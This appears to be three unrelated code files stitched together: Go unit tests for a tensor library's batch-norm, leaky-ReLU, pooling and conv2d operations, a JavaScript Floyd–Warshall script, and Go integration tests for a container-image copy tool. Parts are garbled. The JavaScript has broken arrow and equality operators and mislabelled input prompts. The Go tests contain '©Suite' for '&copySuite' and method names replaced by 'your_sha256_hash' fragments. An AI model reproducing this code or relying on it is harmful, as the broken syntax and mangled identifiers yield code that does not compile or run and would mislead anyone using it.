t.Logf("%v input grad:\n%v", tC.desc, x.Deriv().Value())
runningMean, runningVariance := op.Stats()
c.NotNil(runningMean)
c.NotNil(runningVariance)
c.True(dawson.AllClose(tC.ExpectedMean, runningMean.Data()), "Mean doesn't match:\ngot=%#v expected=%#v", op.runningMean.Data(), tC.ExpectedMean)
c.True(dawson.AllClose(tC.ExpectedVariance, runningVariance.Data()), "Var doesn't match:\ngot=%#v expected=%#v", op.runningVariance.Data(), tC.ExpectedVariance)
c.True(dawson.AllClose(tC.ExpectedTrainResult, yVal.Data()), "Wrong Output\ngot=%#v\nexpected=%#v", yVal.Data(), tC.ExpectedTrainResult)
c.True(dawson.AllClose(tC.ExpectedOutputGrad, y.Deriv().Value().Data()), "Output Grad doesn't match:\ngot=%#v expected=%#v", y.Deriv().Value().Data(), tC.ExpectedOutputGrad)
c.True(dawson.AllClose(tC.ExpectedBiasGrad, bias.Deriv().Value().Data()), "Bias Grad doesn't match:\ngot=%#v expected=%#v", bias.Deriv().Value().Data(), tC.ExpectedBiasGrad)
c.True(dawson.AllClose(tC.ExpectedScaleGrad, scale.Deriv().Value().Data()), "Scale Grad doens't match:\ngot=%#v expected=%#v", scale.Deriv().Value().Data(), tC.ExpectedScaleGrad)
c.True(dawson.AllClose(tC.ExpectedInputGrad, x.Deriv().Value().Data()), "Input Grad doesn't match:\ngot=%#v expected=%#v", x.Deriv().Value().Data(), tC.ExpectedInputGrad)
t.Logf("-------- Switching to Eval Mode --------")
m2 := NewTapeMachine(g, TraceExec(), WithNaNWatch(), WithInfWatch(), EvalMode())
err = m2.RunAll()
c.NoError(err)
c.NoError(m2.Close())
t.Logf("%v output:\n%v", tC.desc, yVal)
t.Logf("%v input grad:\n%v", tC.desc, x.Deriv().Value())
t.Logf("%v running mean: %v", tC.desc, op.runningMean)
t.Logf("%v running var: %v", tC.desc, op.runningVariance)
t.Logf("%v bias: %v", tC.desc, bias.Value())
t.Logf("%v bias grad: %v", tC.desc, bias.Deriv().Value())
t.Logf("%v scale: %v", tC.desc, scale.Value())
t.Logf("%v scale grad: %v", tC.desc, scale.Deriv().Value().Data())
c.True(dawson.AllClose(tC.ExpectedEvalResult, yVal.Data()), "Output doesn't match\ngot=%#v\nexpected=%#v", yVal.Data(), tC.ExpectedEvalResult)
})
}
}
func TestBatchNormStacked(t *testing.T) {
for _, tC := range bnstackedCases {
t.Run(tC.desc, func(t *testing.T) {
rand.Seed(0)
c := require.New(t)
g := NewGraph()
x := NewTensor(g, tC.Dtype, tC.XShape.Dims(), WithShape(tC.XShape...), WithInit(tC.XInit), WithName("x"))
t.Logf("%v input:\n%v", tC.desc, x.Value())
scale1 := NewTensor(g, tC.Dtype, tC.ScaleShape.Dims(), WithShape(tC.ScaleShape...), WithInit(tC.ScaleInit), WithName("scale1"))
bias1 := NewTensor(g, tC.Dtype, tC.BiasShape.Dims(), WithShape(tC.BiasShape...), WithInit(tC.BiasInit), WithName("bias1"))
y1, _, _, op1, err := BatchNorm(x, scale1, bias1, 0.9, 1e-5)
c.NoError(err)
op1.SetTraining(true)
scale2 := NewTensor(g, tC.Dtype, tC.ScaleShape.Dims(), WithShape(tC.ScaleShape...), WithInit(tC.ScaleInit), WithName("scale2"))
bias2 := NewTensor(g, tC.Dtype, tC.BiasShape.Dims(), WithShape(tC.BiasShape...), WithInit(tC.BiasInit), WithName("bias2"))
y2, _, _, op2, err := BatchNorm(y1, scale2, bias2, 0.9, 1e-5)
c.NoError(err)
op2.SetTraining(true)
var yVal, scaleVal Value
Read(y2, &yVal)
Read(scale2, &scaleVal)
cost := Must(Mean(y2))
if _, err := Grad(cost, x, scale1, bias1, scale2, bias2); err != nil {
t.Fatal(err)
}
m := NewTapeMachine(g, BindDualValues(x, scale1, bias1, scale2, bias2), TraceExec(), WithInfWatch())
optim := NewAdamSolver(WithLearnRate(0.05))
// optim := NewRMSPropSolver(WithLearnRate(0.05))
for i := 0; i < tC.Epochs; i++ {
t.Logf("-------- STEP %v", i+1)
op1.SetTraining(true)
op2.SetTraining(true)
err = m.RunAll()
c.NoError(err)
err = optim.Step(NodesToValueGrads(Nodes{
scale1,
bias1,
scale2,
bias2,
}))
c.NoError(err)
m.Reset()
}
c.NoError(err)
c.NoError(m.Close())
t.Logf("%v running mean: %v", tC.desc, op2.runningMean)
t.Logf("%v running var: %v", tC.desc, op2.runningVariance)
t.Logf("%v y1:\n%v", tC.desc, y1.Value())
t.Logf("%v output:\n%v", tC.desc, y2.Value())
t.Logf("%v output grad:\n%v", tC.desc, y2.Deriv().Value())
t.Logf("%v scale grad: %v", tC.desc, scale2.Deriv().Value())
t.Logf("%v bias grad: %v", tC.desc, bias2.Deriv().Value())
t.Logf("%v input grad:\n%v", tC.desc, x.Deriv().Value())
c.True(dawson.AllClose(tC.ExpectedMean, op2.runningMean.Data()), "Mean doesn't match:\ngot=%#v expected=%#v", op2.runningMean.Data(), tC.ExpectedMean)
c.True(dawson.AllClose(tC.ExpectedVariance, op2.runningVariance.Data()), "Var doesn't match:\ngot=%#v expected=%#v", op2.runningVariance.Data(), tC.ExpectedVariance)
c.True(dawson.AllClose(tC.ExpectedTrainResult, yVal.Data()), "Wrong Output\ngot=%#v\nexpected=%#v", yVal.Data(), tC.ExpectedTrainResult)
t.Logf("-------- Switching to Eval Mode --------")
m2 := NewTapeMachine(g, TraceExec(), WithInfWatch(), EvalMode())
err = m2.RunAll()
c.NoError(err)
c.NoError(m2.Close())
c.InDeltaSlice(tC.ExpectedEvalResult, yVal.Data(), 1e-5, "Output doesn't match\ngot=%#v\nexpected=%#v", yVal.Data(), tC.ExpectedEvalResult)
})
}
}
func TestLeakyRelu(t *testing.T) {
tests := []struct {
name string
alpha float64
xT tensor.Tensor
yT tensor.Tensor
}{
{
name: "simple float32",
alpha: 0.1,
xT: tensor.New(
tensor.WithShape(3, 4, 5),
tensor.WithBacking([]float32{1.7640524, 0.4001572, 0.978738, 2.2408931, 1.867558, -0.9772779, 0.95008844, -0.1513572, -0.10321885, 0.41059852, 0.14404356, 1.4542735, 0.7610377, 0.121675014, 0.44386324, 0.33367434, 1.4940791, -0.20515826, 0.3130677, -0.85409576, -2.5529897, 0.6536186, 0.8644362, -0.742165, 2.2697546, -1.4543657, 0.045758516, -0.18718386, 1.5327792, 1.4693588, 0.15494743, 0.37816253, -0.88778573, -1.9807965, -0.34791216, 0.15634897, 1.2302907, 1.2023798, -0.3873268, -0.30230275, -1.048553, -1.420018, -1.7062702, 1.9507754, -0.5096522, -0.4380743, -1.2527953, 0.7774904, -1.6138978, -0.21274029, -0.89546657, 0.3869025, -0.51080513, -1.1806322, -0.028182229, 0.42833188, 0.06651722, 0.3024719, -0.6343221, -0.36274117}),
),
yT: tensor.New(
tensor.WithShape(3, 4, 5),
tensor.WithBacking([]float32{1.7640524, 0.4001572, 0.978738, 2.2408931, 1.867558, -0.09772779, 0.95008844, -0.01513572, -0.010321885, 0.41059852, 0.14404356, 1.4542735, 0.7610377, 0.121675014, 0.44386324, 0.33367434, 1.4940791, -0.020515827, 0.3130677, -0.085409574, -0.25529897, 0.6536186, 0.8644362, -0.07421651, 2.2697546, -0.14543657, 0.045758516, -0.018718386, 1.5327792, 1.4693588, 0.15494743, 0.37816253, -0.08877858, -0.19807965, -0.034791216, 0.15634897, 1.2302907, 1.2023798, -0.03873268, -0.030230274, -0.1048553, -0.1420018, -0.17062703, 1.9507754, -0.05096522, -0.04380743, -0.12527953, 0.7774904, -0.16138978, -0.021274028, -0.08954666, 0.3869025, -0.051080514, -0.11806323, -0.0028182229, 0.42833188, 0.06651722, 0.3024719, -0.06343221, -0.036274116}),
),
},
{
name: "simple float64",
alpha: 0.1,
xT: tensor.New(
tensor.WithShape(3, 4, 5),
tensor.WithBacking([]float64{1.7640524, 0.4001572, 0.978738, 2.2408931, 1.867558, -0.9772779, 0.95008844, -0.1513572, -0.10321885, 0.41059852, 0.14404356, 1.4542735, 0.7610377, 0.121675014, 0.44386324, 0.33367434, 1.4940791, -0.20515826, 0.3130677, -0.85409576, -2.5529897, 0.6536186, 0.8644362, -0.742165, 2.2697546, -1.4543657, 0.045758516, -0.18718386, 1.5327792, 1.4693588, 0.15494743, 0.37816253, -0.88778573, -1.9807965, -0.34791216, 0.15634897, 1.2302907, 1.2023798, -0.3873268, -0.30230275, -1.048553, -1.420018, -1.7062702, 1.9507754, -0.5096522, -0.4380743, -1.2527953, 0.7774904, -1.6138978, -0.21274029, -0.89546657, 0.3869025, -0.51080513, -1.1806322, -0.028182229, 0.42833188, 0.06651722, 0.3024719, -0.6343221, -0.36274117}),
),
yT: tensor.New(
tensor.WithShape(3, 4, 5),
tensor.WithBacking([]float64{1.7640524, 0.4001572, 0.978738, 2.2408931, 1.867558, -0.09772779, 0.95008844, -0.01513572, -0.010321885, 0.41059852, 0.14404356, 1.4542735, 0.7610377, 0.121675014, 0.44386324, 0.33367434, 1.4940791, -0.020515827, 0.3130677, -0.085409574, -0.25529897, 0.6536186, 0.8644362, -0.07421651, 2.2697546, -0.14543657, 0.045758516, -0.018718386, 1.5327792, 1.4693588, 0.15494743, 0.37816253, -0.08877858, -0.19807965, -0.034791216, 0.15634897, 1.2302907, 1.2023798, -0.03873268, -0.030230274, -0.1048553, -0.1420018, -0.17062703, 1.9507754, -0.05096522, -0.04380743, -0.12527953, 0.7774904, -0.16138978, -0.021274028, -0.08954666, 0.3869025, -0.051080514, -0.11806323, -0.0028182229, 0.42833188, 0.06651722, 0.3024719, -0.06343221, -0.036274116}),
),
},
}
for _, tst := range tests {
t.Run(tst.name, func(t *testing.T) {
g := NewGraph()
assert := assert.New(t)
x := NodeFromAny(g, tst.xT)
output, err := LeakyRelu(x, tst.alpha)
if err != nil {
t.Fatalf("%+v", err)
}
m := NewTapeMachine(g)
if err := m.RunAll(); err != nil {
t.Fatalf("%+v", err)
}
defer m.Close()
assert.InDeltaSlice(tst.yT.Data(), output.Value().Data(), 1e-6, "the two tensors should be equal.")
})
}
}
func TestGlobalAveragePool2D_fwdPass(t *testing.T) {
for _, tst := range []struct {
inputT tensor.Tensor
expectedOutput tensor.Tensor
}{
{
inputT: tensor.New(
tensor.WithShape(1, 3, 5, 5),
tensor.WithBacking([]float32{
1.7640524, 0.4001572, 0.978738, 2.2408931, 1.867558,
-0.9772779, 0.95008844, -0.1513572, -0.10321885, 0.41059852,
0.14404356, 1.4542735, 0.7610377, 0.121675014, 0.44386324,
0.33367434, 1.4940791, -0.20515826, 0.3130677, -0.85409576,
-2.5529897, 0.6536186, 0.8644362, -0.742165, 2.2697546,
-1.4543657, 0.045758516, -0.18718386, 1.5327792, 1.4693588,
0.15494743, 0.37816253, -0.88778573, -1.9807965, -0.34791216,
0.15634897, 1.2302907, 1.2023798, -0.3873268, -0.30230275,
-1.048553, -1.420018, -1.7062702, 1.9507754, -0.5096522,
-0.4380743, -1.2527953, 0.7774904, -1.6138978, -0.21274029,
-0.89546657, 0.3869025, -0.51080513, -1.1806322, -0.028182229,
0.42833188, 0.06651722, 0.3024719, -0.6343221, -0.36274117,
-0.67246044, -0.35955316, -0.8131463, -1.7262826, 0.17742614,
-0.40178093, -1.6301984, 0.46278226, -0.9072984, 0.051945396,
0.7290906, 0.12898292, 1.1394007, -1.2348258, 0.40234163})),
expectedOutput: tensor.New(
tensor.WithShape(1, 3, 1, 1),
tensor.WithBacking([]float32{0.47517386, -0.1940553, -0.28326008})),
},
{
inputT: tensor.New(
tensor.WithShape(1, 3, 5, 5),
tensor.WithBacking([]float64{
1.7640524, 0.4001572, 0.978738, 2.2408931, 1.867558,
-0.9772779, 0.95008844, -0.1513572, -0.10321885, 0.41059852,
0.14404356, 1.4542735, 0.7610377, 0.121675014, 0.44386324,
0.33367434, 1.4940791, -0.20515826, 0.3130677, -0.85409576,
-2.5529897, 0.6536186, 0.8644362, -0.742165, 2.2697546,
-1.4543657, 0.045758516, -0.18718386, 1.5327792, 1.4693588,
0.15494743, 0.37816253, -0.88778573, -1.9807965, -0.34791216,
0.15634897, 1.2302907, 1.2023798, -0.3873268, -0.30230275,
-1.048553, -1.420018, -1.7062702, 1.9507754, -0.5096522,
-0.4380743, -1.2527953, 0.7774904, -1.6138978, -0.21274029,
-0.89546657, 0.3869025, -0.51080513, -1.1806322, -0.028182229,
0.42833188, 0.06651722, 0.3024719, -0.6343221, -0.36274117,
-0.67246044, -0.35955316, -0.8131463, -1.7262826, 0.17742614,
-0.40178093, -1.6301984, 0.46278226, -0.9072984, 0.051945396,
0.7290906, 0.12898292, 1.1394007, -1.2348258, 0.40234163})),
expectedOutput: tensor.New(
tensor.WithShape(1, 3, 1, 1),
tensor.WithBacking([]float64{0.47517386, -0.1940553, -0.28326008})),
},
} {
inputT := tst.inputT
expectedOutput := tst.expectedOutput
g := NewGraph()
assert := assert.New(t)
x := NodeFromAny(g, inputT)
output, err := GlobalAveragePool2D(x)
if err != nil {
t.Fatal(err)
}
m := NewTapeMachine(g)
if err := m.RunAll(); err != nil {
t.Fatalf("%+v", err)
}
defer m.Close()
if len(output.Shape()) != len(expectedOutput.Shape()) {
t.Fatalf("Bad output shape, expected %v, got %v", expectedOutput.Shape(), output.Shape())
}
for i, d := range output.Shape() {
if expectedOutput.Shape()[i] != d {
t.Fatalf("Bad output shape, expected %v, got %v", expectedOutput.Shape(), output.Shape())
}
}
assert.InDeltaSlice(expectedOutput.Data(), output.Value().Data(), 1e-6, "the two tensors should be equal.")
}
}
func TestConv2dErrors(t *testing.T) {
g := NewGraph()
testCases := []struct {
desc string
im *Node
filter *Node
kernelShape tensor.Shape
pad, stride, dilation []int
err string
panics bool
}{
{
desc: "Succesful",
im: NewTensor(g, tensor.Float64, 4, WithShape(1, 1, 28, 28)),
filter: NewTensor(g, tensor.Float64, 4, WithShape(32, 1, 3, 3)),
kernelShape: tensor.Shape{3, 3},
pad: []int{1, 1},
stride: []int{1, 1},
dilation: []int{1, 1},
err: "",
},
{
desc: "5dIM",
im: NewTensor(g, tensor.Float64, 5, WithShape(1, 1, 1, 28, 28)),
filter: NewTensor(g, tensor.Float64, 4, WithShape(32, 1, 3, 3)),
kernelShape: tensor.Shape{3, 3},
pad: []int{1, 1},
stride: []int{1, 1},
dilation: []int{1, 1},
err: "im should have 4 dims, got 5 dims",
},
{
desc: "5dFilter",
im: NewTensor(g, tensor.Float64, 4, WithShape(1, 1, 28, 28)),
filter: NewTensor(g, tensor.Float64, 5, WithShape(32, 1, 1, 3, 3)),
kernelShape: tensor.Shape{3, 3},
pad: []int{1, 1},
stride: []int{1, 1},
dilation: []int{1, 1},
err: "filter should have 4 dims, got 5 dims",
},
{
desc: "Shapes",
im: NewTensor(g, tensor.Float64, 4, WithShape(1, 1, 28, 28)),
filter: NewTensor(g, tensor.Float64, 4, WithShape(32, 3, 3, 3)),
kernelShape: tensor.Shape{3, 3},
pad: []int{1, 1},
stride: []int{1, 1},
dilation: []int{1, 1},
err: "3 (kernel) * 3 (width) * 3 (height) must be 9, got 27",
},
}
for _, tC := range testCases {
t.Run(tC.desc, func(t *testing.T) {
c := assert.New(t)
_, err := Conv2d(tC.im, tC.filter, tC.kernelShape, tC.pad, tC.stride, tC.dilation)
if tC.err != "" {
require.Error(t, err)
c.Equal(tC.err, err.Error())
} else {
c.NoError(err)
}
})
}
}
```
|
```javascript
/*The Floyd Warshall Algorithm is for solving the All Pairs Shortest Path problem.
The problem is to find shortest distances between every pair of vertices in a given
edge weighted directed Graph.This is Floyd Warshall algorithm in java script.*/
class Graph {
constructor() {
this.edges = {};
this.nodes = [];
}
addNode(node) {
this.nodes.push(node);
this.edges[node] = [];
}
addEdge(node1, node2, weight =1) {
this.edges[node1].push({node:node2, weight:weight });
this.edges[node2].push({node:node1, weight:weight });
}
floydWarshallAlgorithm() {
let dist = {};
for (let i = 0; i < this.nodes.length; i++) {
dist[this.nodes[i]] = {};
// For existing edges assign the dist to be same as weight
this.edges[this.nodes[i]].forEach(e = > (dist[this.nodes[i]][e.node] = e.weight));
this.nodes.forEach(n = > {
// For all other nodes assign it to infinity
if (dist[this.nodes[i]][n] == undefined)
dist[this.nodes[i]][n] = Infinity;
// For self edge assign dist to be 0
if (this.nodes[i] == = n) dist[this.nodes[i]][n] = 0;
});
}
this.nodes.forEach(i = > {
this.nodes.forEach(j = > {
this.nodes.forEach(k = > {
// Check if going from i to k then from k to j is better
// than directly going from i to j. If yes then update
// i to j value to the new value
if (dist[i][k] + dist[k][j] < dist[i][j])
dist[i][j] = dist[i][k] + dist[k][j];
});
});
});
return dist;
}
}
let g = new Graph();
var edges = prompt("Please enter number of edges", "5");
var vertices = prompt("Please enter number of vertices", "5");
for(let i=0;i<vertices; i++){
var e=prompt("Please enter vertex name","A");
g.addNode(e);
}
/*g.addNode("A");
g.addNode("B");
g.addNode("C");
g.addNode("D");*/
for(let i=0;i<edges; i++){
var e1=prompt("Please enter start edge name","A");
var e2=prompt("Please enter start edge name","A");
var w=prompt("Please enter start edge name",100);
g.addEdge(e1,e2,w);
}
/*g.addEdge("A", "C", 100);
g.addEdge("A", "B", 3);
g.addEdge("A", "D", 4);
g.addEdge("D", "C", 3);*/
console.log(g.floydWarshallAlgorithm());
/* output :
A: {C: 7, B: 3, D: 4, A: 0}
B: {A: 3, B: 0, C: 10, D: 7}
C: {A: 7, D: 3, B: 10, C: 0}
D: {A: 4, C: 3, B: 7, D: 0}*/
```
|
```go
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/json"
"fmt"
"io/fs"
"log"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
"github.com/containers/image/v5/manifest"
"github.com/containers/image/v5/signature"
"github.com/containers/image/v5/types"
digest "github.com/opencontainers/go-digest"
imgspecv1 "github.com/opencontainers/image-spec/specs-go/v1"
"github.com/opencontainers/image-tools/image"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"github.com/stretchr/testify/suite"
)
const (
v2DockerRegistryURL = "localhost:5555" // Update also policy.json
v2s1DockerRegistryURL = "localhost:5556"
knownWindowsOnlyImage = "docker://mcr.microsoft.com/windows/nanoserver:1909"
knownListImageRepo = "docker://registry.fedoraproject.org/fedora-minimal"
knownListImage = knownListImageRepo + ":38"
)
func TestCopy(t *testing.T) {
suite.Run(t, ©Suite{})
}
type copySuite struct {
suite.Suite
cluster *openshiftCluster
registry *testRegistryV2
s1Registry *testRegistryV2
gpgHome string
}
var _ = suite.SetupAllSuite(©Suite{})
var _ = suite.TearDownAllSuite(©Suite{})
func (s *copySuite) SetupSuite() {
t := s.T()
if os.Getenv("SKOPEO_CONTAINER_TESTS") != "1" {
t.Skip("Not running in a container, refusing to affect user state")
}
s.cluster = startOpenshiftCluster(t) // FIXME: Set up TLS for the docker registry port instead of using "--tls-verify=false" all over the place.
for _, stream := range []string{"unsigned", "personal", "official", "naming", "cosigned", "compression", "schema1", "schema2"} {
isJSON := fmt.Sprintf(`{
"kind": "ImageStream",
"apiVersion": "v1",
"metadata": {
"name": "%s"
},
"spec": {}
}`, stream)
runCommandWithInput(t, isJSON, "oc", "create", "-f", "-")
}
// FIXME: Set up TLS for the docker registry port instead of using "--tls-verify=false" all over the place.
s.registry = setupRegistryV2At(t, v2DockerRegistryURL, false, false)
s.s1Registry = setupRegistryV2At(t, v2s1DockerRegistryURL, false, true)
s.gpgHome = t.TempDir()
t.Setenv("GNUPGHOME", s.gpgHome)
for _, key := range []string{"personal", "official"} {
batchInput := fmt.Sprintf("Key-Type: RSA\nName-Real: Test key - %s\nName-email: %s@example.com\n%%no-protection\n%%commit\n",
key, key)
runCommandWithInput(t, batchInput, gpgBinary, "--batch", "--gen-key")
out := combinedOutputOfCommand(t, gpgBinary, "--armor", "--export", fmt.Sprintf("%s@example.com", key))
err := os.WriteFile(filepath.Join(s.gpgHome, fmt.Sprintf("%s-pubkey.gpg", key)),
[]byte(out), 0600)
require.NoError(t, err)
}
}
func (s *copySuite) TearDownSuite() {
t := s.T()
if s.registry != nil {
s.registry.tearDown()
}
if s.s1Registry != nil {
s.s1Registry.tearDown()
}
if s.cluster != nil {
s.cluster.tearDown(t)
}
}
func (s *copySuite) TestCopyWithManifestList() {
t := s.T()
dir := t.TempDir()
assertSkopeoSucceeds(t, "", "copy", knownListImage, "dir:"+dir)
}
func (s *copySuite) TestCopyAllWithManifestList() {
t := s.T()
dir := t.TempDir()
assertSkopeoSucceeds(t, "", "copy", "--all", knownListImage, "dir:"+dir)
}
func (s *copySuite) TestCopyAllWithManifestListRoundTrip() {
t := s.T()
oci1 := t.TempDir()
oci2 := t.TempDir()
dir1 := t.TempDir()
dir2 := t.TempDir()
assertSkopeoSucceeds(t, "", "copy", "--multi-arch=all", knownListImage, "oci:"+oci1)
assertSkopeoSucceeds(t, "", "copy", "--multi-arch=all", "oci:"+oci1, "dir:"+dir1)
assertSkopeoSucceeds(t, "", "copy", "--multi-arch=all", "dir:"+dir1, "oci:"+oci2)
assertSkopeoSucceeds(t, "", "copy", "--multi-arch=all", "oci:"+oci2, "dir:"+dir2)
assertDirImagesAreEqual(t, dir1, dir2)
out := combinedOutputOfCommand(t, "diff", "-urN", oci1, oci2)
assert.Equal(t, "", out)
}
func (s *copySuite) TestCopyAllWithManifestListConverge() {
t := s.T()
oci1 := t.TempDir()
oci2 := t.TempDir()
dir1 := t.TempDir()
dir2 := t.TempDir()
assertSkopeoSucceeds(t, "", "copy", "--multi-arch=all", knownListImage, "oci:"+oci1)
assertSkopeoSucceeds(t, "", "copy", "--multi-arch=all", "oci:"+oci1, "dir:"+dir1)
assertSkopeoSucceeds(t, "", "copy", "--multi-arch=all", "--format", "oci", knownListImage, "dir:"+dir2)
assertSkopeoSucceeds(t, "", "copy", "--multi-arch=all", "dir:"+dir2, "oci:"+oci2)
assertDirImagesAreEqual(t, dir1, dir2)
out := combinedOutputOfCommand(t, "diff", "-urN", oci1, oci2)
assert.Equal(t, "", out)
}
func (s *copySuite) TestCopyNoneWithManifestList() {
t := s.T()
dir1 := t.TempDir()
assertSkopeoSucceeds(t, "", "copy", "--multi-arch=index-only", knownListImage, "dir:"+dir1)
manifestPath := filepath.Join(dir1, "manifest.json")
readManifest, err := os.ReadFile(manifestPath)
require.NoError(t, err)
mimeType := manifest.GuessMIMEType(readManifest)
assert.Equal(t, "application/vnd.docker.distribution.manifest.list.v2+json", mimeType)
out := combinedOutputOfCommand(t, "ls", "-1", dir1)
assert.Equal(t, "manifest.json\nversion\n", out)
}
func (s *copySuite) TestCopyWithManifestListConverge() {
t := s.T()
oci1 := t.TempDir()
oci2 := t.TempDir()
dir1 := t.TempDir()
dir2 := t.TempDir()
assertSkopeoSucceeds(t, "", "copy", knownListImage, "oci:"+oci1)
assertSkopeoSucceeds(t, "", "copy", "--multi-arch=all", "oci:"+oci1, "dir:"+dir1)
assertSkopeoSucceeds(t, "", "copy", "--format", "oci", knownListImage, "dir:"+dir2)
assertSkopeoSucceeds(t, "", "copy", "--multi-arch=all", "dir:"+dir2, "oci:"+oci2)
assertDirImagesAreEqual(t, dir1, dir2)
out := combinedOutputOfCommand(t, "diff", "-urN", oci1, oci2)
assert.Equal(t, "", out)
}
func (s *copySuite) TestCopyAllWithManifestListStorageFails() {
t := s.T()
storage := t.TempDir()
storage = fmt.Sprintf("[vfs@%s/root+%s/runroot]", storage, storage)
assertSkopeoFails(t, `.*destination transport .* does not support copying multiple images as a group.*`, "copy", "--multi-arch=all", knownListImage, "containers-storage:"+storage+"test")
}
func (s *copySuite) TestCopyWithManifestListStorage() {
t := s.T()
storage := t.TempDir()
storage = fmt.Sprintf("[vfs@%s/root+%s/runroot]", storage, storage)
dir1 := t.TempDir()
dir2 := t.TempDir()
assertSkopeoSucceeds(t, "", "copy", knownListImage, "containers-storage:"+storage+"test")
assertSkopeoSucceeds(t, "", "copy", knownListImage, "dir:"+dir1)
assertSkopeoSucceeds(t, "", "copy", "containers-storage:"+storage+"test", "dir:"+dir2)
decompressDirs(t, dir1, dir2)
assertDirImagesAreEqual(t, dir1, dir2)
}
func (s *copySuite) TestCopyWithManifestListStorageMultiple() {
t := s.T()
storage := t.TempDir()
storage = fmt.Sprintf("[vfs@%s/root+%s/runroot]", storage, storage)
dir1 := t.TempDir()
dir2 := t.TempDir()
assertSkopeoSucceeds(t, "", "--override-arch", "amd64", "copy", knownListImage, "containers-storage:"+storage+"test")
assertSkopeoSucceeds(t, "", "--override-arch", "arm64", "copy", knownListImage, "containers-storage:"+storage+"test")
assertSkopeoSucceeds(t, "", "--override-arch", "arm64", "copy", knownListImage, "dir:"+dir1)
assertSkopeoSucceeds(t, "", "copy", "containers-storage:"+storage+"test", "dir:"+dir2)
decompressDirs(t, dir1, dir2)
assertDirImagesAreEqual(t, dir1, dir2)
}
func (s *copySuite) TestCopyWithManifestListDigest() {
t := s.T()
dir1 := t.TempDir()
dir2 := t.TempDir()
oci1 := t.TempDir()
oci2 := t.TempDir()
m := combinedOutputOfCommand(t, skopeoBinary, "inspect", "--raw", knownListImage)
manifestDigest, err := manifest.Digest([]byte(m))
require.NoError(t, err)
digest := manifestDigest.String()
assertSkopeoSucceeds(t, "", "copy", knownListImageRepo+"@"+digest, "dir:"+dir1)
assertSkopeoSucceeds(t, "", "copy", "--multi-arch=all", knownListImageRepo+"@"+digest, "dir:"+dir2)
assertSkopeoSucceeds(t, "", "copy", "dir:"+dir1, "oci:"+oci1)
assertSkopeoSucceeds(t, "", "copy", "dir:"+dir2, "oci:"+oci2)
out := combinedOutputOfCommand(t, "diff", "-urN", oci1, oci2)
assert.Equal(t, "", out)
}
func (s *copySuite) TestCopyWithDigestfileOutput() {
t := s.T()
tempdir := t.TempDir()
dir1 := t.TempDir()
digestOutPath := filepath.Join(tempdir, "digest.txt")
assertSkopeoSucceeds(t, "", "copy", "--digestfile="+digestOutPath, knownListImage, "dir:"+dir1)
readDigest, err := os.ReadFile(digestOutPath)
require.NoError(t, err)
_, err = digest.Parse(string(readDigest))
require.NoError(t, err)
}
func (s *copySuite) TestCopyWithManifestListStorageDigest() {
t := s.T()
storage := t.TempDir()
storage = fmt.Sprintf("[vfs@%s/root+%s/runroot]", storage, storage)
dir1 := t.TempDir()
dir2 := t.TempDir()
m := combinedOutputOfCommand(t, skopeoBinary, "inspect", "--raw", knownListImage)
manifestDigest, err := manifest.Digest([]byte(m))
require.NoError(t, err)
digest := manifestDigest.String()
assertSkopeoSucceeds(t, "", "copy", knownListImageRepo+"@"+digest, "containers-storage:"+storage+"test@"+digest)
assertSkopeoSucceeds(t, "", "copy", "containers-storage:"+storage+"test@"+digest, "dir:"+dir1)
assertSkopeoSucceeds(t, "", "copy", knownListImageRepo+"@"+digest, "dir:"+dir2)
decompressDirs(t, dir1, dir2)
assertDirImagesAreEqual(t, dir1, dir2)
}
func (s *copySuite) TestCopyWithManifestListStorageDigestMultipleArches() {
t := s.T()
storage := t.TempDir()
storage = fmt.Sprintf("[vfs@%s/root+%s/runroot]", storage, storage)
dir1 := t.TempDir()
dir2 := t.TempDir()
m := combinedOutputOfCommand(t, skopeoBinary, "inspect", "--raw", knownListImage)
manifestDigest, err := manifest.Digest([]byte(m))
require.NoError(t, err)
digest := manifestDigest.String()
assertSkopeoSucceeds(t, "", "copy", knownListImageRepo+"@"+digest, "containers-storage:"+storage+"test@"+digest)
assertSkopeoSucceeds(t, "", "copy", "containers-storage:"+storage+"test@"+digest, "dir:"+dir1)
assertSkopeoSucceeds(t, "", "copy", knownListImageRepo+"@"+digest, "dir:"+dir2)
decompressDirs(t, dir1, dir2)
assertDirImagesAreEqual(t, dir1, dir2)
}
func (s *copySuite) your_sha256_hashgest() {
t := s.T()
storage := t.TempDir()
storage = fmt.Sprintf("[vfs@%s/root+%s/runroot]", storage, storage)
m := combinedOutputOfCommand(t, skopeoBinary, "inspect", "--raw", knownListImage)
manifestDigest, err := manifest.Digest([]byte(m))
require.NoError(t, err)
digest := manifestDigest.String()
_, err = manifest.ListFromBlob([]byte(m), manifest.GuessMIMEType([]byte(m)))
require.NoError(t, err)
assertSkopeoSucceeds(t, "", "--override-arch=amd64", "copy", knownListImageRepo+"@"+digest, "containers-storage:"+storage+"test@"+digest)
assertSkopeoSucceeds(t, "", "--override-arch=arm64", "copy", knownListImageRepo+"@"+digest, "containers-storage:"+storage+"test@"+digest)
assertSkopeoFails(t, `.*reading manifest for image instance.*does not exist.*`, "--override-arch=amd64", "inspect", "containers-storage:"+storage+"test@"+digest)
assertSkopeoFails(t, `.*reading manifest for image instance.*does not exist.*`, "--override-arch=amd64", "inspect", "--config", "containers-storage:"+storage+"test@"+digest)
i2 := combinedOutputOfCommand(t, skopeoBinary, "--override-arch=arm64", "inspect", "--config", "containers-storage:"+storage+"test@"+digest)
var image2 imgspecv1.Image
err = json.Unmarshal([]byte(i2), &image2)
require.NoError(t, err)
assert.Equal(t, "arm64", image2.Architecture)
}
func (s *copySuite) your_sha256_hashDigest() {
t := s.T()
storage := t.TempDir()
storage = fmt.Sprintf("[vfs@%s/root+%s/runroot]", storage, storage)
m := combinedOutputOfCommand(t, skopeoBinary, "inspect", "--raw", knownListImage)
manifestDigest, err := manifest.Digest([]byte(m))
require.NoError(t, err)
digest := manifestDigest.String()
list, err := manifest.ListFromBlob([]byte(m), manifest.GuessMIMEType([]byte(m)))
require.NoError(t, err)
amd64Instance, err := list.ChooseInstance(&types.SystemContext{ArchitectureChoice: "amd64"})
require.NoError(t, err)
arm64Instance, err := list.ChooseInstance(&types.SystemContext{ArchitectureChoice: "arm64"})
require.NoError(t, err)
assertSkopeoSucceeds(t, "", "--override-arch=amd64", "copy", knownListImageRepo+"@"+digest, "containers-storage:"+storage+"test@"+digest)
